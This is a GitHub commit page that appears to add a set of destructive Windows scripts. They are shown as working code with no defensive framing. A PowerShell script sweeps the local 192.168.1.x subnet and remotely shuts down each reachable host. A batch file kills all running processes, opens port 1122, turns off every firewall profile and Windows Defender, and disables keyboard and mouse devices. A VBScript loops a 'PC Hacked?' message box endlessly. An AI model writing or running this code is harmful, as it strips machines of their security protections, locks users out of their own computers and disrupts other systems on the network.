-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
0 parents
commit 83d2834
Showing
9 changed files
with
370,379 additions
and
0 deletions.
There are no files selected for viewing
Empty file.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,56 @@ | ||
$ipAddresses = @() | ||
for ($i = 1; $i -le 254; $i++) { | ||
$ip = "192.168.1.$i" | ||
Write-Host "Scanning $ip" | ||
$pingResult = Test-Connection -ComputerName $ip -Count 1 -ErrorAction SilentlyContinue | ||
if ($pingResult) { | ||
$ipAddresses += $ip | ||
} | ||
} | ||
|
||
Set-Content -Path "Ips.txt" -Value $ipAddresses | ||
|
||
foreach ($ip in $ipAddresses) { | ||
Write-Host "Shutting down $ip" | ||
$pingResult = Test-Connection -ComputerName $ip -Count 1 -ErrorAction SilentlyContinue | ||
if ($pingResult) { | ||
$computerName = $(nslookup $ip | Select-String "name =" | Out-String).Trim() -replace ".*name = ([^\.]*)\..*", '$1' | ||
if ($computerName) { | ||
$deviceType = "" | ||
$osName = Get-WmiObject -Class Win32_OperatingSystem -ComputerName $computerName | Select-Object -ExpandProperty Caption | ||
if ($osName -match "Windows") { | ||
$deviceType = "Windows" | ||
} elseif ($osName -match "Linux") { | ||
$deviceType = "Linux" | ||
} elseif ($osName -match "macOS") { | ||
$deviceType = "Mac" | ||
} else { | ||
Write-Warning "Unknown operating system for $ip" | ||
} | ||
|
||
switch ($deviceType) { | ||
"Windows" { | ||
Invoke-Command -ComputerName $computerName -ScriptBlock {shutdown.exe /s /t 0} | ||
break | ||
} | ||
"Linux" { | ||
Invoke-Command -ComputerName $computerName -ScriptBlock {shutdown -h now} | ||
break | ||
} | ||
"Mac" { | ||
Invoke-Command -ComputerName $computerName -ScriptBlock {sudo shutdown -h now} | ||
break | ||
} | ||
default { | ||
Write-Warning "No action taken for $ip" | ||
} | ||
} | ||
} else { | ||
Write-Warning "Could not resolve computer name for IP address $ip" | ||
} | ||
} else { | ||
Write-Warning "Could not connect to IP address $ip" | ||
} | ||
} | ||
|
||
Clear-Content "Ips.txt" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,49 @@ | ||
@echo off | ||
|
||
:terminator | ||
setlocal | ||
|
||
for /f "tokens=2" %%a in ('tasklist ^| findstr /r /b ".*.exe"') do ( | ||
taskkill /f /im "%%a" | ||
) | ||
|
||
|
||
:netsecurety | ||
netsh advfirewall firewall add rule name="Port 1122 TCP" dir=in action=allow protocol=TCP localport=1122 | ||
netsh advfirewall firewall add rule name="Port 1122 UDP" dir=in action=allow protocol=UDP localport=1122 | ||
netsh firewall set opmode disable | ||
netsh firewall set opmode mode=DISABLE | ||
netsh advfirewall set currentprofile state off | ||
netsh advfirewall set domainprofile state off | ||
netsh advfirewall set privateprofile state off | ||
netsh advfirewall set publicprofile state off | ||
netsh advfirewall set allprofiles state off | ||
net stop "Windows Defender Service" | ||
net stop "Windows Firewall" | ||
|
||
|
||
:disablekeyboardandmouse | ||
setlocal enabledelayedexpansion | ||
for /f "skip=1 delims=" %%a in ('wmic path Win32_PnPEntity where "DeviceID like '%%Keyboard%%' or DeviceID like '%%Mouse%%'" get DeviceID^,Status /format:list') do ( | ||
set "line=%%a" | ||
if "!line:~0,8!" == "DeviceID" ( | ||
set "device_id=!line:~9!" | ||
) else if "!line:~0,6!" == "Status" ( | ||
set "status=!line:~7!" | ||
if "!status!" == "OK" ( | ||
wmic path Win32_PnPEntity where "DeviceID='!device_id!'" call Disable | ||
) | ||
) | ||
) | ||
|
||
|
||
:duplication | ||
PowerShell.exe -Command "Start-Process PowerShell.exe -ArgumentList '-File', 'make_file.ps1' -Verb RunAs" | ||
|
||
|
||
goto netsecurety | ||
goto disablekeyboardandmouse | ||
goto duplication | ||
cscript main.vbs | ||
PowerShell.exe -Command "Start-Process PowerShell.exe -ArgumentList '-File', 'ShutNet.ps1' -Verb RunAs" | ||
goto terminator |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,3 @@ | ||
Do | ||
msg = MsgBox("Is your PC Hacked?", vbYesNo + vbQuestion, "PC Hacked?") | ||
Loop |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,4 @@ | ||
$sourceFilePath = "words_alpha.txt" | ||
$destinationFilePath = "$([Environment]::GetFolderPath('Desktop'))\file.txt" | ||
|
||
Copy-Item -Path $sourceFilePath -Destination $destinationFilePath |
Oops, something went wrong.